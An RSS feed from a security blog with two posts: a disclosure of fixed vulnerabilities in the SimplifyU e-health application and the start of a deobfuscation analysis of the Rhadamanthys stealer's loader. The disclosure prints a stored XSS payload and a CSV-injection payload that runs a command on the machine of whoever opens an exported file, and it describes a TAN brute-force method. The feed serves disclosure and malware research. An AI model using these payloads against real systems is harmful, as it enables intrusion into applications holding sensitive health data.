<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>cyber.wtf</title>
    <description></description>
    <link>https://cyber.wtf/</link>
    <atom:link href="https://cyber.wtf/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Fri, 17 Apr 2026 14:06:34 +0000</pubDate>
    <lastBuildDate>Fri, 17 Apr 2026 14:06:34 +0000</lastBuildDate>
    <generator>Jekyll v4.4.1</generator>
    
      <item>
        <title>E-Health Issues (1/3) - Severe Vulnerabilities in SimplifyU</title>
        <description>&lt;p&gt;During the last year (2025), we conducted a variety of penetration tests on E-Health applications. Shockingly, they all had severe vulnerabilities. This is particularly concerning given the highly sensitive information stored and processed by these applications. This is the first of three blog posts in which we will disclose some of the vulnerabilities we identified.&lt;/p&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;
&lt;p&gt;One of our clients wanted to begin using the E-Health web application &lt;a href=&quot;https://www.simplifyu.de/&quot;&gt;SimplifyU&lt;/a&gt; – a quality management software for the health sector – in production. However, they wanted to assess its security before doing so. Hence, we conducted a web application penetration test. The results revealed multiple severe vulnerabilities, such as stored XSS across the entire application and anonymous users being able to easily brute-force access to sensitive reports.&lt;/p&gt;

&lt;p&gt;Fortunately, the vendor, SimplifyU GmbH, responded quickly and professionally. The vulnerabilities were fixed shortly after they were disclosed.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-cves&quot;&gt;Overview of the CVEs&lt;/h2&gt;
&lt;p&gt;A total of 8 CVEs were assigned to the most severe vulnerabilities identified. The affected versions are “02.06.2025 09:10” and earlier for the back-end as well as “02.06.2025 09:16” and earlier for the front-end.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CVE Number&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69851&quot;&gt;CVE-2025-69851&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69799&quot;&gt;CVE-2025-69799&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Stored Cross-Site Scripting&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69852&quot;&gt;CVE-2025-69852&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69800&quot;&gt;CVE-2025-69800&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;CSV Injection&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69849&quot;&gt;CVE-2025-69849&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69801&quot;&gt;CVE-2025-69801&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Insufficient Brute-Force Protection&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69850&quot;&gt;CVE-2025-69850&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69798&quot;&gt;CVE-2025-69798&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Leak of EntraID Secret Key&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;

&lt;p&gt;It is recommended to update SimplifyU to the latest version.
All vulnerabilities have been fixed in the following release:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Frontend: 23.02.2026 – 13:11:08&lt;/li&gt;
  &lt;li&gt;Backend: 23.02.2026 – 13:13:12&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;cves-in-detail&quot;&gt;CVEs in Detail&lt;/h2&gt;

&lt;h3 id=&quot;stored-cross-site-scripting&quot;&gt;Stored Cross-Site Scripting&lt;/h3&gt;
&lt;p&gt;A total of 31 stored cross-site scripting (XSS) instances were identified. 14 of these could be exploited by users with the lowest permissions, i.e. “Leser” (German for “Reader”). Most of these could also be exploited by unauthenticated users if anonymous access was configured as allowed.
A further 17 instances of stored XSS could only be exploited by users with higher permissions, i.e. “Verantwortlicher” (German for “Person in Charge”).&lt;/p&gt;

&lt;p&gt;All instances were trivial XSS vulnerabilities because there was no user input validation. Unvalidated user input was embedded directly into HTML documents, so simple payloads such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src onerror=alert()&amp;gt;&lt;/code&gt; were sufficient. Therefore, there is nothing more to go into.&lt;/p&gt;

&lt;p&gt;To keep track of the numerous XSS vulnerabilities, we created alert boxes containing an identifier for the affected functionality. The following figure illustrates one of these.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-xss&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-1.png&quot; alt=&quot;example of stored xss&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: One of the 31 stored xss instances.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;csv-injection&quot;&gt;CSV Injection&lt;/h3&gt;
&lt;p&gt;A total of 7 tables contained unvalidated user input that could be exported as an Excel (.xlsx) file. By embedding CSV injection payloads, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=cmd|&apos; /C calc&apos;!xxx&lt;/code&gt;, into specific places, it was possible to execute any command on the system of a user who opened an Excel file containing them. This is especially dangerous because users are likely to trust files exported from the SimplifyU application.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-csv&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-2.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-2.png&quot; alt=&quot;rce via csv injection&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: CSV injection leads to arbitrary command execution.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;insufficient-brute-force-protection&quot;&gt;Insufficient Brute-Force Protection&lt;/h3&gt;
&lt;p&gt;This was the most interesting vulnerability from a technical perspective. SimplifyU allows both anonymous and authenticated users to open any report via the “TAN-Suche” (“TAN-Search”). Two pieces of information are needed for this: First, a “Meldungsnummer” (report number) and a TAN. The report number can easily be guessed because it has a fixed format. The first report has the number “M00001”, the 12th “M00012”, and so on.
Therefore, all that is needed to access any report is to guess (or brute-force :)) the TAN, and there was no brute-force protection in place.&lt;/p&gt;

&lt;p&gt;It doesn’t sound that difficult to exploit, right? You just throw it in Burp Intruder or FFUF and let it brute force the TAN in a matter of seconds or minutes. However, that wasn’t possible in this case because of the framework that SimplifyU is built with.&lt;/p&gt;

&lt;p&gt;SimplifyU uses the ASP.NET Core Blazor framework, which uses a custom binary serialisation format called ‘BlazorPack’. Furthermore, Blazor communicates via WebSockets by default.&lt;/p&gt;

&lt;p&gt;Fortunately, both issues can be resolved by using the Burp extension &lt;a href=&quot;https://github.com/PortSwigger/blazor-traffic-processor&quot;&gt;BlazorTrafficProcessor&lt;/a&gt;.
It forces traffic to fall back to HTTP and supports conversion from binary to JSON format for easy modification. However, it cannot be used for automated brute force attacks. Therefore, we created a simple PoC Python script that can brute-force the TAN for any report.&lt;/p&gt;

&lt;p&gt;Due to the way Blazor works, two requests are required for each brute-force attempt. The first request updates the TAN on the front- and back-end, while the second request triggers the TAN check on the back-end. As a side effect, the brute-force process looks pretty cool because one can see the TAN number increase visually until the correct one is found and the report is displayed.&lt;/p&gt;

&lt;p&gt;The following figure shows the script iterating through every possible TAN, with the TAN on the web application being visually updated each time to reflect the next TAN to be tried.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-bruteforce&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-3.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-3.png&quot; alt=&quot;bruteforcing the tan&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: Bruteforcing the TAN.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;leak-of-entraid-secret-key&quot;&gt;Leak of EntraID Secret Key&lt;/h3&gt;
&lt;p&gt;The EntraID Secret Key was displayed in the EntraID settings of the web application. Although this was only accessible to privileged users, there were several (unauthenticated) stored XSS vulnerabilities that could be exploited to exfiltrate the EntraID Secret Key. This secret key can be used to request an access token for the Microsoft Graph API. The consequences depend on the app’s configuration. In our customer’s case, we could “only” retrieve various information about EntraID users, such as names, phone numbers, and email addresses.&lt;/p&gt;

&lt;p&gt;This was the only vulnerability that was still present during the retest. However, it was eventually fixed in February 2026.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-entraid&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-4.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-4.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-4.png&quot; alt=&quot;entraid secret key leak&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-4.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-4.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-4.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: The EntraID secret key is being leaked.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-06-25&lt;/td&gt;
      &lt;td&gt;Start of the 3-day penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-07-01&lt;/td&gt;
      &lt;td&gt;Reported vulnerabilities to the vendor&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-08-11&lt;/td&gt;
      &lt;td&gt;Retest - all but one vulnerability was fixed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-02-23&lt;/td&gt;
      &lt;td&gt;Last vulnerability has been fixed&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

</description>
        <pubDate>Fri, 17 Apr 2026 12:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/</link>
        <guid isPermaLink="true">https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/</guid>
        
        <category>cves</category>
        
        <category>web</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Rhadamanthys Loader Deobfuscation</title>
        <description>&lt;p&gt;&lt;em&gt;~ Content warning: This post contains liberal amounts of x86 assembly! ~&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;Rhadamanthys is a notorious stealer malware that has been around since 2022.
Check Point Research has recently published a &lt;a href=&quot;https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/&quot;&gt;very detailed blog post&lt;/a&gt; about changes in the latest Rhadamanthys version.
If you’re interested in the stealer’s capabilities - or if you always wanted to know what a dark web sales site for malware looks like - definitely check out their post.&lt;/p&gt;

&lt;p&gt;What piqued my interest is not the malware itself, but its native loader.
The loader is interesting because it implements some rather complicated anti-sandboxing/anti-AV-emulation measures.
Furthermore, the payload is encoded using a custom binary-to-string encoding that the malware authors try to keep hidden.
This causes vast parts of the loader binary to contain gibberish ASCII text.&lt;/p&gt;

&lt;p&gt;But most importantly, the loader is obfuscated using different layered techniques, making static analysis extremely hard.
If you’ve followed my posts in the past (especially the ones about &lt;a href=&quot;https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/&quot;&gt;Pyarmor&lt;/a&gt; and &lt;a href=&quot;https://cyber.wtf/2025/04/07/dotnet-deobfuscation/&quot;&gt;.NET&lt;/a&gt;), you know I always like a good deobfuscation challenge - so let’s see what we’re dealing with in this instance!&lt;/p&gt;

&lt;h1 id=&quot;setting-the-stage&quot;&gt;Setting the stage&lt;/h1&gt;

&lt;p&gt;The sample that we will work on for the rest of the post is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8f54612f441c4a18564e6badf5709544370715e4529518d04b402dcd7f11b0fb&lt;/code&gt;.
It’s packed, so you need to unpack it to see the actual Rhadamanthys loader.&lt;/p&gt;

&lt;p&gt;When we open up the main function, we’re greeted by this ghastly sight.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A560~0040A5C7&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;Normal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ish&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;prologue&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5C8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40A5F0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5CA&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5CA&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;19A7218Ah&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5D0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B604&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5D6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B850&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5DC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5DF&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E3&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E5&lt;/span&gt;                 &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ign&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;10h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F0&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40A5F0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;; CODE XREF: sub_40A560+68↑j&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5FE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A601&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A603&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A605&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A605&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;sub_40A560&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;endp&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; IDA thinks the function ends here, but it&apos;s far from the end&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A605&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A607&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A607&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B758&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A60D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;357A351Eh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A613&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jge&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40A680&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A615&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A617&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A619&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The rest of the function looks more or less the same.
Blocks that perform actual work, such as calling other functions, are slightly larger.
In total, this main function has almost 3000 instructions and hundreds of blocks.&lt;/p&gt;

&lt;p&gt;Two things are at play here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Jump target obfuscation: The target addresses are hidden using a memory load and addition with a key register.&lt;/li&gt;
  &lt;li&gt;Control flow flattening: The blocks we see above are actually part of a typical CFF dispatcher. CFF is a technique where direct relations between basic blocks are removed. Instead, each time you have some sort of path decision, you set a state variable (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ebx&lt;/code&gt; in this case).
Then you jump into the dispatcher, which will eventually execute the correct block.
At a higher level, you can think of it like a huge switch statement, where the cases are obnoxious high entropy numbers like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x357A351E&lt;/code&gt;.
&lt;br /&gt;
The code at hand is basically doing a binary search until it finds a target block where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ebx&lt;/code&gt; matches exactly (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;je&lt;/code&gt; instruction, not depicted above).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Together, those techniques form a potent combination.
